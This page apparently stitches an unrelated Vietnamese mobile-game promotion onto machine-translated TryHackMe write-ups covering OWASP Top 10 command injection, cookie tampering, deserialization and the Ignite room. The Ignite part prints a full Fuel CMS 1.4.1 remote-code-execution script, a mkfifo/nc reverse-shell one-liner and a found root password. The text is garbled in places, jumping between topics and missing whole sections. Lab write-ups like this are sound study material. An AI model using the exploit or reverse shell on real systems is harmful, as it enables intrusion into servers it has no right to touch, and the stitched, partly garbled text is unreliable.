The 14 billion challenge game can be said to be the most popular coffee game in Vietnam ever. If you haven’t forgotten the case of Ms. Hang (Dai Nam) revealing that a comedian kept 14 billion charity money but refused to donate to the people in the Central region, this game is mainly about that comedian. In this article, I will show you how to download and play this 14 Billion Challenge game.

Story Challenge Game 14 billion

According to the content of the Game, after Downloading Challenge 14 billion, players will transform into a kind and humorous clown to collect money and raise money to help people in Central Vietnam in difficulty. When playing the character of a clown, you will use 4 emulator buttons to joystick to move the character left, right up, down and pick up the piles of money, money scattered everywhere.

The game is designed in 2D with quite simple operation with typical gameplay and easy to get used to. However, the gameplay is extremely difficult to chew, because after each time you eat more money, a new black shadow will appear and mimic the actions of the main character. If you touch the black ball the game will end.

When the amount is high, one “ghost of conscience” very similar to the main character (comedian) appearing and participating in the chase. The ultimate goal of this game is to raise the full amount of 14 billion. The special thing is that the character ghost of conscience in the Game is designed quite like comedian Hoai Linh. Therefore many players do not know what the author means? Have you tried playing this game yet?

Download Game Challenge 14 billion

After launching on June 24, 2021, Challenge 14 Billion has over 1000 downloads and is rated 4.7*.

The current Download Game Challenge 14 billion Only support download on Google Play Store of Android operating system. You can download it directly on your Android phone to play. Hopefully in the near future the author will develop more on iOS, the majority of iPhone users want to download Game Challenge 14 billion but not yet on the Appstore.

If you use Windows, you can install the Android emulator softwareafterward Download Challenge 14 billion to play on the computer.

It can be said that this is a highly entertaining and humorous game. You should play with friends or family to see who can pick up more coins. Remember not to let the ghost of conscience haunt you but “soak 14 billion and wait for a reminder to release”.

In this article, we will explore the challenge OWASP Top 10 above TryHackMe. Through this challenge, you can also learn and exploit each of the top 10 OWASP vulnerabilities. Those are the 10 most important web security risks, read this paragraph to understand more.

Because this challenge is a bit too much, I will divide it into 3 parts for you to follow and also read to be less boring.

I will go straight to the practical part and skip the technical knowledge. If you want to learn the knowledge or how the vulnerability works, you can go to the room to read it. And note, the websites I visit in this article are Tryhackme’s virtual servers.

TryHackMe: OWASP Top 10 Challenge Part 1

Mission 5: [Mức độ nghiêm trọng 1] Command Injection

What is Active Command Injection?

Blind command injection (Blind command injection) occurs when a system command executed to the server does not return a response to the user in the HTML document. And ACI (Active command injection) will return the response to the user. It can be displayed through a number of HTML elements.

See the following script: EvilCorp started developing on the web platform but was accidentally exposed to the Internet. It’s incomplete but still contains a command injection vulnerability. But this time, the response from the system call can be seen on the web page.

Read the sample code from evilhell.php and see what it’s doing and why it’s getting ACI. I will leave the sample code below.

EvilShell (evilshell.php)

Program analysis:

1. Check if the parameter “commandString” has been declared.
2. If so, then the variable $command_string get what was passed into the input field.
3. The program then enters a try block to execute the function passthru($command_string). You can read the documentation for the passthru() function on the PHP website, but in general it will execute what is entered in the input field, then pass the output directly back to the browser.
4. If it fails, it will give an error. In general, it won’t output anything because you can’t output it stderr.

Ways to detect Active Command Injection

ACI occurs when you can see a response from a system call. In the above code, the function passthru() direct feedback to the document so you can see it. This command will help you easily view and analyze system errors.

Commands to try

Linux

• whoami
• id
• ifconfig/ip addr
• uname -a
• ps -ef

Windows

• whoami
• ver
• ipconfig
• tasklist
• nestat -an

To answer the questions below you need to navigate to http://10.10.147.50/evilshell.php.

#1 What strange text file is in the website root directory?

We can go to evilhell.php and try the whoami command.

Try next command uname -a.

Continue to try the command ls.

What do you see? I found the file drpepper.txt.

#2 How many non-root/non-service/non-daemon users are there?

You can try the command cat /etc/passwd

Couldn’t find anything.

#3 What user is this application running as?

We found it upstairs, but let’s rewrite the whoami command.

Answer: www-data

#4 User Shell?

We can find it with the command cat /etc/passwd.

Answer: usr/sbin/nologin

#5 What version of Ubuntu is running?

As the picture above, you just need to enter the command lsb_release -a to know the Ubuntu version the application is running.

Answer: 18.04.4

#6 Watch MOTD

Just do a little search on the internet and you will know the command to show MOTD. MOTD (Message Of The Day) is the message when you start an application in the terminal.

I put a space in front of the word darren.

I am logged in as a member. It’s successful!

We have found the flag.

Answer: fe86079416a21a3c99937fea8874b667

#2 Now try to do the same trick and see if you can login with arthur account.

#3 What’s the flag you found in Arthur’s account?

Answer: d9ac0f7db4fda460ac3edeb75d75e16e

Complete 2 common errors in OWASP 10, Broken Authentication and Command Injection.

The next part will still be exploiting other bugs in OWASP 10.

Continuing with part 2, in this article I will guide you to exploit OWASP vulnerabilities such as Insecure Deserialization, Components With Known Vulnerabilities, and Insufficient Logging & Monitoring in challenge OWASP Top 10.

TryHackMe: OWASP Top 10 Challenge [Phần 3]

Mission 21: [Mức độ nghiêm trọng 8] Insecure Deserialization

What applications are vulnerable?

Any application that stores or fetches data for which no authentication or integrity check is applied to the queried or stored data. Some examples of applications of this nature are:

• E-commerce website
• Forum
• API
• Runtimes applications (Tomcat, Jenkins, Jboss, …)

You can learn more about Insecure Deserialization here.

#1 Who developed the Tomcat application?

Answer: Apache Software Foundation

#2 What kind of attacks that crash services can be done with insecure decryption?

This definition is still quite broad. But can be understood like this, unsafe decryption is replacing the data processed by the application with malicious code; allows anything from DoS (Denial of Service) to RCE (Remote Malware Execution) that an attacker can use to gain a foothold in pentesting.

Answer: Denial of Service

Mission 22 [Mức độ nghiêm trọng 8] Unsecure Decryption – Object

#1 Choose the correct term of the following sentence:

if a dog was sleeping, would this be:

A) A State
B) A Behaviour

Answer: A Behaviour

Mission 23: [Mức độ nghiêm trọng 8] Insecure Deserialization — Deserialization

Suppose you have a password “password123” from a program that needs to be stored in a database on another system. To move across a network, this string/output needs to be converted to binary. Of course, the password needs to be stored as “password123” and not its binary string. When it reaches the database, it will be converted or deserialised back to “password123” to be stored.

#1 What is the name of the base 2 format in which data is sent over the network?

Answer: binary

Mission 24 [Mức độ nghiêm trọng 8] Insecure Deserialization — Cookies

#1 If the cookie has a path of webapp.com/login, what is the URL the user has to visit?

Answer: webapp.com/login

#2 What is the acronym for the web technology that Secure cookies work on?

Answer: Https

Mission 25: [Mức độ nghiêm trọng 8] Insecure Deserialization — Cookies Practical

I will log in to a website like the one below.

Create an account. No need to enter details, you can enter what you like.

Notice on the right, you have your details.

Right click on the page and hit “Inspect Element” then go to the “Storage” tab.

Check Encrypted Data

You will see here that there are both plaintext and base64 encoded cookies. The first flag will be found in one of these cookies.

Answer: THM{good_old_base64_huh}

Modify cookie value

Notice here that you have a cookie named “userType”. You are now a user, as confirmed by your information on the “myprofile” page.

This application defines what you can and cannot see by your userType. What if you want to be an administrator?

Double left click on the “Value” column of “userType” to modify the content. Let’s change our userType to “admin” and navigate to http://10.10.83.1/admin to get the second flag.

Answer: THM{heres_the_admin_flag}

Mission 26: [Mức độ nghiêm trọng 8] Insecure Deserialization — Code Execution

1. First, change the value of the userType cookie from “admin” to “user” and back to http://10.10.83.1/myprofile.

2. Then left click on the URL under “Exhange your vim” in the screenshot below.

3. Next left click on the URL under “Provide your feedback!” to a page like this:

#1 flag.txt

Change netcat ip.

Use command nano rce.py

Swap tryhackmyIP to the IP of that website.

Paste this into the “encodedPayload” cookie in your browser:

7. Make sure netcat is still running:

8. Refresh the page. It will hang, go back to netcat:

Answer: 4a69a7ff9fd68

Mission 29: [Mức độ nghiêm trọng 9] Components With Known Vulnerabilities — Lab

#1 How many characters are in /etc/passwd (using WC -c /etc/passwd for the answer)

Visit the website, as we see this is a normal book website.

Did a bit of research on vulnerabilities found in online bookstore sites and I found this.

Answer: 1611

Mission 30: [Mức độ nghiêm trọng 10] Insufficient Logging & Monitoring

We have to download the login-logs.txt file. Click download and save the file.

#1 What IP address is the attacker using?

We can use cat login-logs.txt and see all the frontends.

There is one person constantly accessing the system with different usernames.

Answer: 49.99.13.16

#2 What kind of attack is being performed?

HTTP 401 indicates that the request has not been applied because it lacks valid credentials for the target resource.

So I think it’s a brute force attack because we see that someone is repeatedly trying a password with a different username.

Answer: Brute Force

So this series is done. Are you looking forward to other series? In addition, you can also see more challenges on tryhackme here.

Continue the series of writing up interesting challenges on Tryhackme. The challenge this time I writeup with you is Ignite.

A little Writeup about the Ignite challenge

Nmap

We can see two ports in the nmap scan but only port 80 is open, the other port is filtered so we can ignore it. Discover what port 80 has.

HTTP

I think this is a new kind of CMS system because I have never seen it used in any other vulnerable system.

During the nmap scan, we can see that file robots.txt there are several data entries.

When I try to access /fuelthen I found this login screen.

Since we don’t have any credentials we can’t log into the site, so we’ll need to find some workaround.

What comes to mind is is that the default login? And I was right, the login is admin:adminbut I found out I don’t need them.

Just change the plan, I’m looking for information about fuel above searchsploit and found the RCE for the version 1.4.1

Next is to download the exploit and change line 14 to URL = “http://10.0.0.130/” ie IP of the machine.

Here is the exploit:

import requests
import urllib

URL = "http://10.0.0.130/"


def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start


while 1:
    xxxx = input('cmd:')
    url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

Run the exploit and enter the input.

NOTE: Make sure the input command is in “” ie when you run the exploit you will have to enter the command you want to execute. Example: Suppose you want to run ls then you must type cmd: “ls” and not cmd: ls. Note that the command must be enclosed in quotation marks.

Since we already know RCE, it is easy to get everse shell. Run the following command to get the reverse shell:

cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444 >/tmp/f"

This command will give you a reverse shell on your listener that will listen on port 4444 via nc -nlvp 4444

Now we can get the flag from the home directory.

Escalation of privileges

Since we’re on the victim machine, let’s try running the enum command to see if we can find anything. You can use the word wget to load the enum file from your system onto the machine.

After searching for a while, I found the root password at: /var/www/html/fuel/application/config/database.php

root: mememe

Okay we just found the password for the root user and now we can change our account to root by command su.

Then you just get the root flag from /root.

summary

Ignite is a pretty good challenge for beginners from @Darkstar and @lollava. If you are a beginner then I recommend you to play the Ignite challenge.

Alternatively, you can also solve Shodan.io on Tryhackme here.